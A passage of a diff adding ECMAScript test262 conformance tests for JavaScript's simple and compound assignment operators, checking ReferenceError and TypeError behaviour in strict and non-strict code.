@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x = y uses GetValue and PutValue
+ *
+ * @path ch11/11.13/11.13.1/S11.13.1_A2.1_T2.js
+ * @description If GetBase(AssigmentExpression) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x = y;
+ $ERROR('#1.1: x = y throw ReferenceError. Actual: ' + (x = y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x = y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A2.1_T3.js b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A2.1_T3.js
new file mode 100644
index 000000000..3e153946f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A2.1_T3.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x = y uses GetValue and PutValue
+ *
+ * @path ch11/11.13/11.13.1/S11.13.1_A2.1_T3.js
+ * @description If Type(LeftHandSideExpression) is not Reference, throw ReferenceError (or SyntaxError)
+ * @negative
+ */
+
+//CHECK#1
+try {
+ 1 = 1;
+ $ERROR('#1.1: 1 = 1 throw ReferenceError (or SyntaxError). Actual: ' + (1 = 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 = 1 throw ReferenceError (or SyntaxError). Actual: ' + (e));
+ } else {
+ 1 = 1;
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A3.1.js b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A3.1.js
new file mode 100644
index 000000000..d02876814
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A3.1.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x = y PutValue(x, y)
+ *
+ * @path ch11/11.13/11.13.1/S11.13.1_A3.1.js
+ * @description Checking Expression and Variable statements
+ */
+
+//CHECK#1
+var x = 1;
+if (x !== 1) {
+ $ERROR('#1: var x = 1; x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+y = 1;
+if (y !== 1) {
+ $ERROR('#2: y = 1; y === 1. Actual: ' + (y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A3.2.js b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A3.2.js
new file mode 100644
index 000000000..f369e21c3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A3.2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x = y returns GetValue(y)
+ *
+ * @path ch11/11.13/11.13.1/S11.13.1_A3.2.js
+ * @description Checking Expression and Variable statements
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) !== 1) {
+ $ERROR('#1: var x = 0; (x = 1) === 1. Actual: ' + ((x = 1)));
+}
+
+//CHECK#2
+x = 0;
+if ((x = 1) !== 1) {
+ $ERROR('#2: x = 0; (x = 1) === 1. Actual: ' + ((x = 1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A4_T1.js b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A4_T1.js
new file mode 100644
index 000000000..5781fbdfc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A4_T1.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * AssignmentExpression : LeftHandSideExpression = AssignmentExpression
+ *
+ * @path ch11/11.13/11.13.1/S11.13.1_A4_T1.js
+ * @description Syntax check
+ */
+
+//CHECK#1
+x = x = 1;
+if (x !== 1) {
+ $ERROR('#1: The expression x = x = 1 is the same x = (x = 1), not (x = x) = 1. Actual: ' + (x));
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A4_T2.js b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A4_T2.js
new file mode 100644
index 000000000..d1d4ea456
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/S11.13.1_A4_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * AssignmentExpression : LeftHandSideExpression = AssignmentExpression
+ *
+ * @path ch11/11.13/11.13.1/S11.13.1_A4_T2.js
+ * @description Syntax check if "x = x" throws ReferenceError
+ */
+
+//CHECK#1
+try {
+ x = x;
+ $ERROR('#1.1: x = x throw ReferenceError. Actual: ' + (x = x));
+} catch(e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x = x throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/browser.js b/js/src/tests/test262/ch11/11.13/11.13.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/browser.js
diff --git a/js/src/tests/test262/ch11/11.13/11.13.1/shell.js b/js/src/tests/test262/ch11/11.13/11.13.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.1/shell.js
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-1-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-1-s.js
new file mode 100644
index 000000000..3a8522a32
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-1-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-1-s.js
+ * @description Strict Mode - ReferenceError is thrown if the LeftHandSideExpression of a Compound Assignment operator(*=) evaluates to an unresolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_11_13_2_1 *= 1;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-10-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-10-s.js
new file mode 100644
index 000000000..e0c7dddb4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-10-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-10-s.js
+ * @description Strict Mode - ReferenceError is thrown if the LeftHandSideExpression of a Compound Assignment operator(^=) evaluates to an unresolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_11_13_2_10 ^= 1;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-11-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-11-s.js
new file mode 100644
index 000000000..60d2e8a63
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-11-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-11-s.js
+ * @description Strict Mode - ReferenceError is thrown if the LeftHandSideExpression of a Compound Assignment operator(|=) evaluates to an unresolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_11_13_2_11 |= 1;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-12-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-12-s.js
new file mode 100644
index 000000000..ae0eff54b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-12-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-12-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if the LeftHandSideExpression of a Compound Assignment operator(*=) evaluates to a resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_13_2_12 = 5
+ _11_13_2_12 *= 2;
+ return _11_13_2_12 === 10;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-13-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-13-s.js
new file mode 100644
index 000000000..3dc5a0f34
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-13-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-13-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if the LeftHandSideExpression of a Compound Assignment operator(/=) evaluates to a resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_13_2_13 = 6
+ _11_13_2_13 /= 2;
+ return _11_13_2_13 === 3;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-14-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-14-s.js
new file mode 100644
index 000000000..578fae60e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-14-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-14-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if the LeftHandSideExpression of a Compound Assignment operator(%=) evaluates to a resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_13_2_14 = 5
+ _11_13_2_14 %= 2;
+ return _11_13_2_14 === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-15-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-15-s.js
new file mode 100644
index 000000000..832e1f98d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-15-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-15-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if the LeftHandSideExpression of a Compound Assignment operator(>>>=) evaluates to a resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_13_2_15 = 8
+ _11_13_2_15 >>>= 2;
+ return _11_13_2_15 === 2;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-16-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-16-s.js
new file mode 100644
index 000000000..ae83bb032
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-16-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-16-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if the LeftHandSideExpression of a Compound Assignment operator(-=) evaluates to a resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_13_2_16 = 5
+ _11_13_2_16 -= 2;
+ return _11_13_2_16 === 3;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-17-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-17-s.js
new file mode 100644
index 000000000..f78dd1b8b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-17-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-17-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if the LeftHandSideExpression of a Compound Assignment operator(<<=) evaluates to a resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_13_2_17 = 1;
+ _11_13_2_17 <<= 2;
+ return _11_13_2_17 === 4;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-18-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-18-s.js
new file mode 100644
index 000000000..cb2af550d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-18-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-18-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if the LeftHandSideExpression of a Compound Assignment operator(>>=) evaluates to a resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_13_2_18 = 4
+ _11_13_2_18 >>= 2;
+ return _11_13_2_18 === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-19-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-19-s.js
new file mode 100644
index 000000000..187d7c78a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-19-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-19-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if the LeftHandSideExpression of a Compound Assignment operator(+=) evaluates to a resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_13_2_19 = -1
+ _11_13_2_19 += 10;
+ return _11_13_2_19 === 9;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-2-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-2-s.js
new file mode 100644
index 000000000..395bed37d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-2-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-2-s.js
+ * @description Strict Mode - ReferenceError is thrown if the LeftHandSideExpression of a Compound Assignment operator(/=) evaluates to an unresolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("_11_13_2_2 /= 1;");
+ return false;
+ } catch (e) {
+ return e instanceof ReferenceError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-20-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-20-s.js
new file mode 100644
index 000000000..8f1547ca7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-20-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-20-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if the LeftHandSideExpression of a Compound Assignment operator(&=) evaluates to a resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_13_2_20 = 5
+ _11_13_2_20 &= 3;
+ return _11_13_2_20 === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-21-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-21-s.js
new file mode 100644
index 000000000..3cf11ab55
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-21-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-21-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if the LeftHandSideExpression of a Compound Assignment operator(^=) evaluates to a resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_13_2_21 = 5
+ _11_13_2_21 ^= 3;
+ return _11_13_2_21 === 6;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-22-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-22-s.js
new file mode 100644
index 000000000..b525c1621
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-22-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-22-s.js
+ * @description Strict Mode - ReferenceError isn't thrown if the LeftHandSideExpression of a Compound Assignment operator(|=) evaluates to a resolvable reference
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var _11_13_2_22 = 5
+ _11_13_2_22 |= 2;
+ return _11_13_2_22 === 7;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-23-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-23-s.js
new file mode 100644
index 000000000..f6b492dc3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-23-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-23-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(*=) is a reference to a data property with the attribute value {[[Writable]]:false}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop *= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-24-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-24-s.js
new file mode 100644
index 000000000..7c0886277
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-24-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-24-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(/=) is a reference to a data property with the attribute value {[[Writable]]:false}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop /= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-25-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-25-s.js
new file mode 100644
index 000000000..3f52583c3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-25-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-25-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(%=) is a reference to a data property with the attribute value {[[Writable]]:false}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop %= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-26-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-26-s.js
new file mode 100644
index 000000000..a13b710d8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-26-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-26-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(+=) is a reference to a data property with the attribute value {[[Writable]]:false}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop += 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-27-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-27-s.js
new file mode 100644
index 000000000..c8b649257
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-27-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-27-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(-=) is a reference to a data property with the attribute value {[[Writable]]:false}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop -= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-28-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-28-s.js
new file mode 100644
index 000000000..326c710e1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-28-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-28-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(<<=) is a reference to a data property with the attribute value {[[Writable]]:false}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop <<= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-29-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-29-s.js
new file mode 100644
index 000000000..dac5aff74
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-29-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.13/11.13.2/11.13.2-29-s.js
+ * @description Strict Mode - TypeError is thrown if The LeftHandSide of a Compound Assignment operator(>>=) is a reference to a data property with the attribute value {[[Writable]]:false}
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var obj = {};
+ Object.defineProperty(obj, "prop", {
+ value: 10,
+ writable: false,
+ enumerable: true,
+ configurable: true
+ });
+
+ try {
+ obj.prop >>= 20;
+ return false;
+ } catch (e) {
+ return e instanceof TypeError && obj.prop === 10;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-3-s.js b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-3-s.js
new file mode 100644
index 000000000..efbbe64ab
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.13/11.13.2/11.13.2-3-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
